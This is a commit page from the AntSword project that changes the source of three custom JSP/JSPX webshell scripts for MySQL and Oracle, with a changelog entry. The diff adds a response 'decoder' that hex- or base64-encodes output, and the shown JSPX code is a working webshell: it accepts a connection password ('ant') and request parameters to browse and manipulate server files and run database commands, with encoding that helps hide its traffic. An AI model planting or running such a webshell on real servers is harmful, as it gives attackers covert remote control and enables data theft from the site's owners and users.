Commit 6870e929 authored by Medicean's avatar Medicean

(Other:Script) `jsp_custom_script_for_mysql.jsp`,...

(Other:Script) `jsp_custom_script_for_mysql.jsp`, `jsp_custom_script_for_oracle.jsp`, `jspx_custom_script_for_mysql.jspx` 新增解码器支持
parent b8d7371e
...@@ -20,7 +20,7 @@ ...@@ -20,7 +20,7 @@
* 修复 `jsp_custom_script_for_mysql.jsp` 使用 `base64` 编码器连接数据库时 `characterEncoding` 二次解码导致的无法识别的问题 #171 * 修复 `jsp_custom_script_for_mysql.jsp` 使用 `base64` 编码器连接数据库时 `characterEncoding` 二次解码导致的无法识别的问题 #171
* 修复 `ASP``Custom` 数据库管理导出问题 #172 * 修复 `ASP``Custom` 数据库管理导出问题 #172
* `jsp_custom_script_for_mysql.jsp` 新增解码器支持 * `jsp_custom_script_for_mysql.jsp`, `jsp_custom_script_for_oracle.jsp`, `jspx_custom_script_for_mysql.jspx` 新增解码器支持
## 2019/05/13 `v(2.1.2)` ## 2019/05/13 `v(2.1.2)`
......
...@@ -12,7 +12,7 @@ ...@@ -12,7 +12,7 @@
——————————————————————————————————————————————— ———————————————————————————————————————————————
说明: 说明:
1. AntSword >= v1.1-dev 1. AntSword >= v2.1.0
2. 创建 Shell 时选择 custom 模式连接 2. 创建 Shell 时选择 custom 模式连接
3. 数据库连接: 3. 数据库连接:
com.mysql.jdbc.Driver com.mysql.jdbc.Driver
......
...@@ -12,7 +12,7 @@ ...@@ -12,7 +12,7 @@
——————————————————————————————————————————————— ———————————————————————————————————————————————
说明: 说明:
1. AntSword >= v1.1-dev 1. AntSword >= v2.1.0
2. 创建 Shell 时选择 custom 模式连接 2. 创建 Shell 时选择 custom 模式连接
3. 数据库连接: 3. 数据库连接:
oracle.jdbc.driver.OracleDriver oracle.jdbc.driver.OracleDriver
...@@ -26,7 +26,7 @@ ...@@ -26,7 +26,7 @@
已知问题: 已知问题:
1. 文件管理遇到中文文件名显示的问题 1. 文件管理遇到中文文件名显示的问题
ChangeLog: ChangeLog:
Ver:1.5
--%> --%>
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" contentType="text/html;charset=UTF-8"%> <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" contentType="text/html;charset=UTF-8"%>
<%! <%!
......
...@@ -12,16 +12,16 @@ ...@@ -12,16 +12,16 @@
——————————————————————————————————————————————— ———————————————————————————————————————————————
说明: 说明:
1. AntSword >= v1.1-dev 1. AntSword >= v2.1.0
2. 创建 Shell 时选择 custom 模式连接 2. 创建 Shell 时选择 custom 模式连接
3. 数据库连接: 3. 数据库连接:
com.mysql.jdbc.Driver com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456 jdbc:mysql://localhost/test?user=root&password=123456
注意:以上是两行 注意:以上是两行
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空 4. 本脚本中 encoder/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致,如果选择 default 则需要将值设置为空
Ver:1.4 Ver:1.5
--> -->
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2"> <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> <jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
...@@ -34,11 +34,16 @@ Ver:1.4 ...@@ -34,11 +34,16 @@ Ver:1.4
<![CDATA[ <![CDATA[
// ################################################ // ################################################
String Pwd = "ant"; //连接密码 String Pwd = "ant"; //连接密码
// 数据编码 3 选 1 // 编码器 3 选 1
String encoder = ""; // default String encoder = ""; // default
// String encoder = "base64"; //base64 // String encoder = "base64"; //base64
// String encoder = "hex"; //hex(推荐) // String encoder = "hex"; //hex(推荐)
String cs = "UTF-8"; // 编码方式 String cs = "UTF-8"; // 字符编码
// 解码器 4 选 1
String decoder = "";
// String decoder = "base64"; // base64 中文正常
// String decoder = "hex"; // hex 中文可能有问题
// String decoder = "hex_base64"; // hex(base64) // 中文正常
// ################################################ // ################################################
String EC(String s) throws Exception { String EC(String s) throws Exception {
...@@ -334,6 +339,26 @@ Ver:1.4 ...@@ -334,6 +339,26 @@ Ver:1.4
return fileHexContext; return fileHexContext;
} }
String asenc(String str, String decode){
if(decode.equals("hex") || decode=="hex"){
String ret = "";
for (int i = 0; i < str.length(); i++) {
int ch = (int) str.charAt(i);
String s4 = Integer.toHexString(ch);
ret = ret + s4;
}
return ret;
}else if(decode.equals("base64") || decode == "base64"){
String sb = "";
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
sb = encoder.encode(str.getBytes());
return sb;
}else if(decode.equals("hex_base64") || decode == "hex_base64"){
return asenc(asenc(str, "base64"), "hex");
}
return str;
}
String decode(String str) { String decode(String str) {
byte[] bt = null; byte[] bt = null;
try { try {
...@@ -381,6 +406,7 @@ Ver:1.4 ...@@ -381,6 +406,7 @@ Ver:1.4
<![CDATA[ <![CDATA[
response.setContentType("text/html"); response.setContentType("text/html");
response.setCharacterEncoding(cs); response.setCharacterEncoding(cs);
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer(""); StringBuffer sb = new StringBuffer("");
try { try {
String funccode = EC(request.getParameter(Pwd) + ""); String funccode = EC(request.getParameter(Pwd) + "");
...@@ -389,7 +415,7 @@ Ver:1.4 ...@@ -389,7 +415,7 @@ Ver:1.4
String z2 = decode(EC(request.getParameter("z2") + ""), encoder); String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder); String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = { z0, z1, z2, z3}; String[] pars = { z0, z1, z2, z3};
sb.append("->" + "|"); output.append("->" + "|");
if (funccode.equals("B")) { if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1])); sb.append(FileTreeCode(pars[1]));
...@@ -429,8 +455,9 @@ Ver:1.4 ...@@ -429,8 +455,9 @@ Ver:1.4
} catch (Exception e) { } catch (Exception e) {
sb.append("ERROR" + "://" + e.toString()); sb.append("ERROR" + "://" + e.toString());
} }
sb.append("|" + "<-"); output.append(asenc(sb.toString(), decoder));
out.print(sb.toString()); output.append("|" + "<-");
out.print(output.toString());
]]> ]]>
</jsp:scriptlet> </jsp:scriptlet>
</jsp:root> </jsp:root>
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment